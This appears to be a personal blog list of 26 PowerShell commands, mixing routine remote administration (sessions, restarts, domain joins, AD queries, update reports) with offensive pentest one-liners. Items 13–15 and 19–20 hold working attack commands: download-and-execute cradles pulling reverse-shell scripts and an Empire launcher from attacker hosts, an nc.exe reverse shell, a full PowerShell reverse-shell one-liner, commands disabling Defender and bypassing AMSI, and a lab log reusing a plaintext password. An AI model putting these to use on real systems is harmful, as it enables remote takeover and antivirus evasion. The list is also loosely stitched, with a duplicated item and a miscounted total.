Powershell

26 PowerShell commands to make remote management easier

Doing more with less is a common mantra bandied about in the workforce these days and IT is no exception. If you’re part of a small team that’s responsible for many devices, the ability to leverage PowerShell against hundreds or thousands of systems will make you feel like you’ve added several talented IT pros to the team.

So without further ado, let’s review the requirements necessary to get the most out of PowerShell’s awesome features. Then we’ll focus on 21 commands that will make life easier by managing devices and services on your network remotely and more efficiently.

Requirements

  • Computer running Windows Vista (or higher)
  • Server running Windows Server 2008 (or higher)
  • PowerShell 3.0
  • Administrative access

1: Create a PowerShell session

Command: Enter-PSSession

Example: Enter-PSSession -ComputerName REMOTE_COMPUTER_NAME -Credential USERNAME

PS D:\pentest> set-item wsman:\localhost\Client\TrustedHosts -value *

WinRM Security Configuration.

This command modifies the TrustedHosts list for the WinRM client. The computers in the TrustedHosts list might not be authenticated. The client might send credential information to these

computers. Are you sure that you want to modify this list?

[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): Y

PS D:\pentest> $offsec_session = New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Credential administrator

PS D:\pentest>Enter-PSSession $offsec_session

[10.10.10.210]: PS C:\Users\administrator\Documents> whoami
htb\administrator

Creating a PSSession will allow an administrator to remotely connect to a computer on the network and run any number of PS commands on the device. During the session, multiple commands may be executed remotely, since the admin has console access just as though he/she were sitting locally at the machine.

2: Execute commands

Command: Invoke-Command

Example: Invoke-Command -Computer 10.10.10.210 -ScriptBlock {ipconfig /all} -credential HTB\Administrator

Using Invoke-Command in PS renders similar results to executing a session as in command #1 above, except that when using Invoke to call forth a command remotely, only one command may be executed at a time. This prevents running multiple commands together unless they are saved as a .PS1 file and the script itself is invoked.

3: Restart computer(s)

Command: Restart-Computer

Example: Restart-Computer -ComputerName REMOTE_COMPUTER_NAME -Force

Sometimes installations or configurations will require a reboot to work properly. Other times, a computer just needs a refreshing of the resources, and a reboot will accomplish that. Whether targeted at one or one hundred devices, PS can ease the job with just one command for all.

4: Ping computer(s)

Command: Test-Connection

Example: Test-Connection -ComputerName DESTINATION_COMPUTER_NAME -Source SOURCE_COMPUTER_NAME

The PING command is one of the most useful commands in a sysadmin’s arsenal. Simply put, it tests connectivity between your current station and another remote system. Test-Connection brings it up a notch by folding that functionality into a PS cmdlet, while adding some new tricks—such as being able to designate a source computer that’s different from the one you’re currently logged onto. Say you need to test communications between a server and a remote device. The ICMP requests will be sent from the server to the remote device, yet report the findings back to your admin station.

5: View and modify services

Command: Set-Service

Example: Set-Service -ComputerName REMOTE_COMPUTER_NAME -Name SERVICE_NAME -Status SERVICE_STATUS

Services are resilient and sometimes finicky. Depending on what’s going on with a particular computer, they may halt at the worst possible time. Determining a station’s running services begins with the Get-Service cmdlet to obtain current statuses. Once that information is available, the process to set a service status is possible – be it for one service, those that begin with the letter W, or all of them at once.

6: Run background tasks

Command: Start-Job

Example: Start-Job -FilePath PATH_TO_SCRIPT.PS1

Some administrators do what they need to do when they need to do it, regardless of what’s going on or what the users are doing. Others prefer to work in the shadows to keep things humming along with little to no interruptions. If you’re one of the latter, this cmdlet is perfect for your management style.

It executes scripts or tasks in the background no matter who is interactively logged on or what they may be doing. Further, it will execute silently—even if it were to fail—and not interrupt the locally logged on user at all. Like a ghost!

7: Shut down computer(s)

Command: Stop-Computer

Example: Stop-Computer -ComputerName REMOTE_COMPUTER_NAME -Force

Unlike running things silently or rebooting a desktop from afar, there are times when computers need to be shut down. For these moments, this cmdlet will ensure that one or all computers are properly shut down and will even log off interactive users if the -Force argument is included.

8: Join computers to a domain

Command: Add-Computer

Example: Add-Computer -ComputerName COMPUTER_NAMES_TO_BE_JOINED -DomainName DOMAIN.COM -Credential DOMAIN\USER -Restart

While the process of joining a computer to a domain is fairly straightforward, the three clicks and entering of admin credentials can become quite tedious when multiplied by several hundreds of computers at a time.

PowerShell can make short work of the task. This cmdlet allows for multiple computers at once to be joined to a domain, while requiring the admin to enter his/her credentials only once.

9: Manage other applications and services

Command: Import-Module

Example: Import-Module -Name NAME_OF_POWERSHELL_MODULE

One of PowerShell’s greatest benefits is its flexibility when it comes to managing just about anything—from Windows-based computing systems to applications like Microsoft Exchange. Some applications and system-level services permit only a certain level of management via GUI. The rest is defaulted to PS, so Microsoft is clearly leveraging the technology significantly.

This is accomplished through the use of modules that contain the necessary codebase to run any number of additional cmdlets within PowerShell that target a specific service or application. Modules may be used only when needed by importing them, at which point they will extend the PS functionality to a specific service or app. Once your work is done, you can remove the module from the active session without closing it altogether.

10: Rename computers

Command: Rename-Computer

Example: Rename-Computer -NewName NEW_COMPUTER_NAME -LocalCredential COMPUTERNAME\USER -Restart

Depending on several factors, including the deployment system used, scripting experience level and security, and company policy, computers being renamed might not be done regularly (or perhaps it’s a task performed quite often). Either way, the Rename cmdlet is extremely useful when working on one or multiple systems—workgroup or on a domain.

The cmdlet will rename a device and reboot it so that the changes can take effect. For those on a domain, the added benefit will be that if the Active Directory Schema supports it, the new computer will also result in a computer object rename within AD. The object will retain all its settings and domain joined status but will reflect the new name without any significant downtime to the user outside of a reboot.

11: Get List of All Users in Active Directory

If you wish to get a list of all users from your active directory. You can do this with 1 simple powershell command. You need to run this in Active Directory Module for Windows Powershell on one of your DC’s.

Get-ADUser -Filter * -SearchBase “dc=domain,dc=local”

This will export the list of users and all their detail. In my particular case I wanted to just retrieve the Name of the users and their SID. SO I used the command below.

Get-ADUser -Filter * -SearchBase “dc=domain,dc=local” | select Name,SID

You can then export this to a CSV by adding | Export-CSV c:\temp\Sids.csv to the end.

Get-ADUser -Filter * -SearchBase “dc=domain,dc=local” | select Name,SID | Export-CSV

12: Set User Password in Active Directory

Set-ADAccountPassword -Identity ‘CN=Puck,CN=users,DC=jaccostraathof,DC=local’ -Reset -NewPassword (ConvertTo-SecureString -AsPlainText “p@ssw0rd” -Force)

13: Download and Execute a powershell script

C:\Users\hillie> powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.16/Sherlock.ps1')"
PS C:\Users\hillie> IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.16/puckieshell443.ps1')
C:\pentest\cmd.exe /c powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.16/mini-reverse.ps1\')

14: Download and execute

Next we’ll download nc.exe and download&execute an Empire launcher using a powershell one liner.

PS C:\users\hillie> (New-Object System.Net.WebClient).DownloadFile("http://192.168.178.16:8000/MS14-058.exe", "c:\users\public\MS14-058.exe")
C:\> PowerShell (New-Object System.Net.WebClient).DownloadFile('http://192.168.178.16:8000/launcher.bat’,’launcher.bat'); Start-Process ‘launcher.bat'
c:\Pentest>powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.21/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '192.168.1.21 9001 -e cmd.exe'
PS C:\users> IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.16:8000/Sherlock.ps1')
Title : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID : 2016-7255
Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
ample-Exploits/MS16-135
VulnStatus : Appears Vulnerable

15: Oneliner Powershell reverse shell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.178.16',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

16: Bypass execution of scripts is disabled

powershell-says-execution-of-scripts-is-disabled-on-this-system when running script.ps1

You can bypass this policy by adding -ExecutionPolicy ByPass when running PowerShell

powershell -ExecutionPolicy ByPass -File script.ps1

Or As an Administrator, you can set the execution policy by typing this into your PowerShell window: Set-ExecutionPolicy RemoteSigned

17: Bypass execution of scripts is disabled

powershell-says-execution-of-scripts-is-disabled-on-this-system when running script.ps1

You can bypass this policy by adding -ExecutionPolicy ByPass when running PowerShell

powershell -ExecutionPolicy ByPass -File script.ps1

Or As an Administrator, you can set the execution policy by typing this into your PowerShell window: Set-ExecutionPolicyRemoteSigned

PS C:\Users\Public> Set-ExecutionPolicy unrestricted -scope CurrentUser
PS C:\Users\Public> Get-ExecutionPolicy
Unrestricted
PS C:\Users\Public> .\Tater.ps1

18: Set TrustedHosts (as Admin)

Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value *
Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value "Computer1,Computer2"

And check (don’t need Admin for that)

Get-Item WSMan:\localhost\Client\TrustedHosts

19 : Bypass AMSI / AV

PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true
PS C:\> Set-MpPreference -DisableIOAVProtection $true

PS C:\Users\puckie> [Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonP ublic,Static’).SetValue($null,$true)

to get antivirus details

PS C:\Windows\system32> $wmiQuery = “SELECT * FROM AntiVirusProduct”

PS C:\Windows\system32> $AntivirusProduct = Get-WmiObject -Namespace “root\SecurityCenter2” -Query $wmiQuery @psboundparameters # -ErrorVariable myError -ErrorAction ‘SilentlyContinue’
PS C:\Windows\system32> Write-host $AntivirusProduct.displayName
Windows Defender FortiClient

PS C:\Windows\system32> Get-MpComputerStatus

AMEngineVersion : 1.1.19300.2
AMProductVersion : 4.18.2205.7
AMRunningMode : Normal
AMServiceEnabled : True
AMServiceVersion : 4.18.2205.7
AntispywareEnabled : True

20 : user switch !

root@kali:~/htb/# cat getshell.ps1 
$username = 'SNIPER\Chris'
$password = '36mEAhz/B8xQ~2VM'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential -ArgumentList $username,$securePassword
New-PSSession -Credential $credential | Enter-PSSession
root@kali:~/htb/sniper# python3 -m http.server 82
Serving HTTP on 0.0.0.0 port 82 (http://0.0.0.0:82/) ...
10.10.10.151 - - [27/Jan/2020 06:26:03] "GET /getshell.ps1 HTTP/1.1" 200 -
root@kali:~/htb# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.151] 49710
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\temp>whoami
whoami
nt authority\iusr

PS C:\temp> Invoke-WebRequest "http://10.10.14.8:82/getshell.ps1" -OutFile c:\temp\getshell.ps1Invoke-WebRequest "http://10.10.14.8:82/getshell.ps1" -OutFile c:\temp\getshell.ps1
PS C:\temp>dir
dir

PS C:\temp> ./getshell.ps1 
./getshell.ps1
[localhost]: PS C:\Users\Chris\Documents> whoami
whoami
sniper\chris

21: Get-PSDrive & New-PSdrive

PS C:\Users\jacco> Get-PSDrive

Name Used (GB) Free (GB) Provider Root CurrentLocation
---- --------- --------- -------- ---- ---------------
Alias Alias
C 89.50 2.65 FileSystem C:\ Users\jacco
Cert Certificate \
D 18.43 6.57 FileSystem D:\
E 57.62 1.83 FileSystem E:\
Env Environment
Function Function
HKCU Registry HKEY_CURRENT_USER
HKLM Registry HKEY_LOCAL_MACHINE
Variable Variable
WSMan WSMan

PS C:\Users\jacco> New-PSDrive -Name puck -PSProvider FileSystem -Root "\\192.168.1.21\puck"

Name Used (GB) Free (GB) Provider Root CurrentLocation
---- --------- --------- -------- ---- ---------------
puck FileSystem \\192.168.1.21\puck

PS C:\Users\jacco> cd puck:
PS puck:\> dir

Directory: \\192.168.1.21\puck

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/31/2020 3:09 PM 129 brute.sh
-a---- 2/3/2020 9:48 AM 292503 payload.exe

22: Send-MailMessage

PS C:\Users\jacco> Send-MailMessage -To backup@xxx.nl -Cc systeembeheer@xxx.nl -Subject "Backup of WEB-AL01 has been SUCCESSFULL" -Body "The backup of the WEB-AL01 server has been successfull last night" -SmtpServer smtp.xxx.nl -From WEB-AL01@xxx.nl

23: check whether Windows is activated

PS C:\Users\jacco> Get-CimInstance SoftwareLicensingProduct -Filter "Name like 'Windows%'" | 
where { $_.PartialProductKey } | select Description, LicenseStatus

if LicenseStatus is 1, it means that the system is permanently activated. ( 5 meaning unactivated )

24: Demotion Using PowerShell

The above procedure can also be performed using two AD PowerShell cmdlets. The first step is to demote the domain controller to a member server. Open a PowerShell prompt and run the command as shown below. The AD Remote Server Administration Tools (RSAT) need to be installed before you can use the AD PowerShell module.

PS C:\Users\jacco> Uninstall-ADDSDomainController

Once the server has been demoted and rebooted, run Uninstall-WindowsFeature to remove the ADDS server role:

25: WindowsUpdate

clear-host
write-host "Starting Patches Service"
$Server = hostname 
get-windowsupdate -computername $Server -acceptall -autoreboot -install -verbose | out-file c:\util\logs\currentupdates.log

$bigbody += Get-Content -Path "C:\util\Logs\currentupdates.log" | out-string 

$Params = @{
Subject = "$Server Monthly Update Report"
Body = " $bigbody"
From = "no-reply@tgcsnet.com"
To = "systems-alert@home.com"
smtpserver = "InternalRelay.HOME.COM"
}

Send-MailMessage @Params
26: check Backlogs / DFS Replication Status

Backlogs  are the files that wait to replicate in the partner.

Get-DfsrBacklog -SourceComputerName flsrv01 -DestinationComputerName flsrv02 | select FileName,FullPathName
.

Author : Jacco Straathof